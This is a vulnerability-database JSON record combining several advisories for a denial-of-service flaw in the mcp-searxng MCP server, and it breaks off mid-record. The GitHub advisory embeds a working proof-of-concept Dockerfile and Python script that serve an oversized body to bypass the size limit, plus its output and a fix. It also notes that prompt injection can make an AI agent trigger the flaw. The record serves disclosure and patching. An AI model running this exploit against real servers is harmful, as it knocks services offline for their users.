{"id":"GHSA-xcqx-9jf5-w339","revision":null,"records":[{"revision":"ecbd4d8595c9400aa343ee869fbef774","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58483","aliases":[],"title":"mcp-searxng: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`","description":"mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.","state":0,"publishedAt":"2026-09-15T17:48:16.692+00:00","modifiedAt":"2026-09-15T18:25:34.075+00:00","affected":[{"ecosystem":"Vendor product","name":"mcp-searxng","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"ihor-sokoliuk\",\n                    \"product\": \"mcp-searxng\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.7.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339","https://github.com/ihor-sokoliuk/mcp-searxng/pull/121","https://github.com/ihor-sokoliuk/mcp-searxng/commit/f5a947ed1650daed10fbdcd53c0db5a86489ffe4","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58483","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58483","identifiers":["CVE-2026-58483"]},"retained":false,"historicalAffected":[]},{"revision":"818e8970810e4267893b28fe3d3b81e4","observedAt":"2026-11-11T15:00:41.752+00:00","statement":{"source":"euvd","id":"EUVD-2026-79124","aliases":["CVE-2026-58483"],"title":"mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader…","description":"mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339","https://github.com/ihor-sokoliuk/mcp-searxng/pull/121","https://github.com/ihor-sokoliuk/mcp-searxng/commit/f5a947ed1650daed10fbdcd53c0db5a86489ffe4","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-79124","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 15, 2026, 5:48:16 PM","dateUpdated":"Sep 15, 2026, 6:25:34 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-79124","identifiers":["EUVD-2026-79124","CVE-2026-58483"]},"retained":false,"historicalAffected":[]},{"revision":"65cec853824048599ef789626912c79c","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-58483","aliases":[],"title":"mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader…","description":"mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.","state":0,"publishedAt":"2026-09-15T18:17:25.873+00:00","modifiedAt":"2026-09-30T17:51:56.193+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/ihor-sokoliuk/mcp-searxng/commit/f5a947ed1650daed10fbdcd53c0db5a86489ffe4","https://github.com/ihor-sokoliuk/mcp-searxng/pull/121","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1","https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58483","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-400"],"productCriteria":[],"sourceDates":{"published":"2026-09-15T18:17:25.873","lastModified":"2026-09-30T17:51:56.193"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58483","identifiers":["CVE-2026-58483"]},"retained":false,"historicalAffected":[]},{"revision":"64042ccbc15947549b30d7fa0e5b1c8b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xcqx-9jf5-w339","aliases":["CVE-2026-58483"],"title":" SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`","description":"## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` — a standard HTTP practice — `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n// src/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null && contentLength > maxContentLengthBytes) {\n  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n// src/url-reader.ts:414  — normal response path\nhtmlContent = await response.text();\n\n// src/url-reader.ts:402  — error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n  -t vuln002-test \\\n  -f vuln-002/Dockerfile \\\n  reports/npmAI_249_ihor-sokoliuk__mcp-searxng/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"web_url_read\",\n    \"arguments\": { \"url\": \"http://127.0.0.1:9799/\", \"maxLength\": 1 }\n  }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS              : 1\nGET_REQUESTS               : 1\nGET_BYTES_SENT             : 6,291,456\nCONFIGURED_DEFAULT_LIMIT   : 5,242,880\nBYTES_OVER_LIMIT           : +1,048,576\nELAPSED_SEC                : 0.17\nTOOL_STATUS                : SUCCESS\nRETURNED_LENGTH_CHARS      : 1\n\n[PASS] VULNERABILITY CONFIRMED\n  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n  Root cause confirmed:\n    1. HEAD response had no Content-Length header.\n    2. checkContentLength() returned null  (url-reader.ts:243-245)\n    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\n    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise<string | null> {\n+  if (!response.body) return response.text();\n+  const reader = response.body.getReader();\n+  const decoder = new TextDecoder();\n+  const chunks: string[] = [];\n+  let total = 0;\n+  while (true) {\n+    const { done, value } = await reader.read();\n+    if (done) break;\n+    total += value.byteLength;\n+    if (total > maxBytes) { await reader.cancel(); return null; }\n+    chunks.push(decoder.decode(value, { stream: true }));\n+  }\n+  chunks.push(decoder.decode());\n+  return chunks.join(\"\");\n+}\n\n-        responseBody = await response.text();\n+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+          ?? \"[Response body exceeded configured size limit]\";\n\n-      htmlContent = await response.text();\n+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+      if (limitedBody === null) {\n+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+      }\n+      htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update && apt-get install -y --no-install-recommends python3 \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)\nWORKDIR /app\nCOPY repo/ /app/\nRUN npm ci && npm run build\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk/mcp-searxng v1.6.0\nFile:     src/url-reader.ts:414 (response.text())\nCWE:      CWE-400 Uncontrolled Resource Consumption\nCVSS:     7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nRoot cause:\n  checkContentLength() at src/url-reader.ts:243-245 returns null when the\n  server sends no Content-Length header.  The guard at line 359:\n      if (contentLength !== null && contentLength > maxContentLengthBytes)\n  evaluates to false (null !== null => false), so the check is skipped.\n  response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n  1. Malicious HTTP server (this process, port 9799):\n       HEAD => 200, Content-Type only, NO Content-Length\n       GET  => 200, 6+ MiB HTML body, NO Content-Length\n  2. mcp-searxng (subprocess, HTTP mode, port 3000):\n       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC\n  3. This script initializes an MCP session, calls web_url_read pointing\n     at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n  GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)\n  => The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB — exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT  = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state — updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count  = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Simulates an attacker-controlled HTTP server that:\n      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n      - Returns 200 for GET with a 6 MiB body and NO Content-Length\n        (triggers unbounded response.text() read)\n    \"\"\"\n\n    # Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.\n    protocol_version = \"HTTP/1.0\"\n\n    def log_message(self, fmt, *args):  # suppress default per-request logging\n        pass\n\n    def do_HEAD(self):\n        global g_head_count\n        g_head_count += 1\n        print(\n            f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n            \" — responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        # Deliberately omitting Content-Length — this is the bypass trigger\n        self.end_headers()\n\n    def do_GET(self):\n        global g_get_count, g_bytes_sent\n        g_get_count += 1\n        print(\n            f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n            f\" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        # Deliberately NO Content-Length header\n        self.end_headers()\n\n        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n        # Simple structure keeps NodeHtmlMarkdown conversion fast.\n        header = b\"<html><body><pre>\"\n        footer = b\"</pre></body></html>\"\n        payload_char = b\"A\"\n        target = BODY_SIZE_BYTES - len(header) - len(footer)\n        chunk_size = 65536  # 64 KiB chunks\n        total = 0\n        try:\n            self.wfile.write(header)\n            total += len(header)\n            while total < BODY_SIZE_BYTES - len(footer):\n                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n                self.wfile.write(chunk)\n                total += len(chunk)\n            self.wfile.write(footer)\n            total += len(footer)\n        except (BrokenPipeError, OSError):\n            pass  # client may close early on abort\n        g_bytes_sent = total\n        print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n    srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n    srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -> bool:\n    deadline = time.monotonic() + timeout\n    while time.monotonic() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.3)\n    return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:\n    \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    data = json.dumps(payload).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        body = resp.read()\n        ct   = resp.headers.get(\"content-type\", \"\")\n        sid  = resp.headers.get(\"mcp-session-id\")\n        return body, ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -> dict | None:\n    \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n    if \"text/event-stream\" in content_type:\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n    try:\n        return json.loads(body)\n    except json.JSONDecodeError:\n        # Fallback: try SSE even if content-type says JSON\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=\" * 72, flush=True)\n    print(\"VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n    print(\"=\" * 72, flush=True)\n    print(f\"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(f\"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}\", flush=True)\n    print(f\"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious HTTP server\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n    evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n    evil_thread.start()\n    if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n        print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n        sys.exit(1)\n    print(\"[+] Malicious server ready\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2: Start mcp-searxng in HTTP mode\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n    env = {\n        **os.environ,\n        \"MCP_HTTP_PORT\"             : str(MCP_PORT),\n        \"MCP_HTTP_HOST\"             : \"127.0.0.1\",\n        \"SEARXNG_URL\"               : \"http://127.0.0.1:8080\",   # not used in this test\n        # Allow 127.x URLs so the PoC can point at the local malicious server.\n        # (Real attacks target public servers — this env var enables local reproduction.)\n        \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n        \"NODE_ENV\"                  : \"production\",\n    }\n    proc = subprocess.Popen(\n        [\"node\", \"/app/dist/cli.js\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n    )\n\n    def stream_server_logs():\n        for line in proc.stdout:\n            print(f\"[MCP-SERVER] {line.decode(errors='replace').rstrip()}\", flush=True)\n\n    log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n    log_thread.start()\n\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n        print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n    mcp_url = f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n\n    # ------------------------------------------------------------------\n    # Step 3: Initialize MCP session\n    # ------------------------------------------------------------------\n    print(\"[*] Initializing MCP session ...\", flush=True)\n    init_body, init_ct, session_id = http_post(\n        mcp_url,\n        payload={\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n            },\n        },\n    )\n    init_resp = parse_mcp_response(init_body, init_ct)\n    if not init_resp or \"result\" not in init_resp:\n        print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n    # Send notifications/initialized (no response expected — ignore errors)\n    try:\n        http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"},\n            timeout=10,\n        )\n    except Exception:\n        pass  # 202 with empty body or similar non-error responses\n\n    # ------------------------------------------------------------------\n    # Step 4: Call web_url_read pointing at the malicious server\n    # ------------------------------------------------------------------\n    evil_url = f\"http://127.0.0.1:{EVIL_PORT}/\"\n    print(flush=True)\n    print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n    print(f\"    HEAD response will have NO Content-Length\", flush=True)\n    print(f\"    => checkContentLength() returns null\", flush=True)\n    print(f\"    => guard at url-reader.ts:359 is bypassed\", flush=True)\n    print(f\"    => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n    t_start = time.monotonic()\n    try:\n        tool_body, tool_ct, _ = http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\n                \"jsonrpc\": \"2.0\",\n                \"id\": 2,\n                \"method\": \"tools/call\",\n                \"params\": {\n                    \"name\": \"web_url_read\",\n                    \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n                },\n            },\n            timeout=120,\n        )\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(tool_body, tool_ct)\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n    except Exception as e:\n        elapsed = time.monotonic() - t_start\n        print(f\"[WARN] tool call exception: {e}\", flush=True)\n        tool_resp = None\n\n    # Give the evil server thread a moment to flush its final log\n    time.sleep(0.5)\n\n    # ------------------------------------------------------------------\n    # Step 5: Collect and report evidence\n    # ------------------------------------------------------------------\n    print(flush=True)\n    print(\"=\" * 72, flush=True)\n    print(\"[EVIDENCE]\", flush=True)\n    print(f\"  HEAD_REQUESTS              : {g_head_count}\", flush=True)\n    print(f\"  GET_REQUESTS               : {g_get_count}\", flush=True)\n    print(f\"  GET_BYTES_SENT             : {g_bytes_sent:,}\", flush=True)\n    print(f\"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(\n        f\"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n        flush=True,\n    )\n    print(f\"  ELAPSED_SEC                : {elapsed:.2f}\", flush=True)\n\n    if tool_resp:\n        if \"error\" in tool_resp:\n            err = tool_resp[\"error\"]\n            print(\n                f\"  TOOL_STATUS                : ERROR code={err.get('code')} \"\n                f\"msg={str(err.get('message', ''))[:120]}\",\n                flush=True,\n            )\n        elif \"result\" in tool_resp:\n            content = tool_resp[\"result\"].get(\"content\", [])\n            text = content[0].get(\"text\", \"\") if content else \"\"\n            print(f\"  TOOL_STATUS                : SUCCESS\", flush=True)\n            print(f\"  RETURNED_LENGTH_CHARS      : {len(text)}\", flush=True)\n            print(f\"  RETURNED_EXCERPT           : {repr(text[:80])}\", flush=True)\n    else:\n        print(f\"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b'<no body>'}\", flush=True)\n\n    print(\"=\" * 72, flush=True)\n\n    # ------------------------------------------------------------------\n    # Verdict\n    # ------------------------------------------------------------------\n    bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH\n\n    if bypass_confirmed:\n        print(flush=True)\n        print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n        print(\n            f\"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n            f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.\",\n            flush=True,\n        )\n        print(f\"  Root cause confirmed:\", flush=True)\n        print(f\"    1. HEAD response had no Content-Length header.\", flush=True)\n        print(f\"    2. checkContentLength() returned null  (url-reader.ts:243-245)\", flush=True)\n        print(f\"    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\", flush=True)\n        print(f\"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n        proc.terminate()\n        sys.exit(0)\n    else:\n        print(flush=True)\n        if g_get_count == 0:\n            print(\"[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server\", flush=True)\n        else:\n            print(\n                f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} <= limit={DEFAULT_MAX_CONTENT_LENGTH:,}\",\n                flush=True,\n            )\n        proc.terminate()\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","state":0,"publishedAt":"2026-06-19T21:42:43+00:00","modifiedAt":"2026-09-16T03:56:03.8798996+00:00","affected":[{"ecosystem":"npm","name":"mcp-searxng","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339","https://github.com/ihor-sokoliuk/mcp-searxng"],"sourceUrl":"https://github.com/advisories/GHSA-xcqx-9jf5-w339","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xcqx-9jf5-w339","identifiers":["GHSA-xcqx-9jf5-w339","CVE-2026-58483"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS 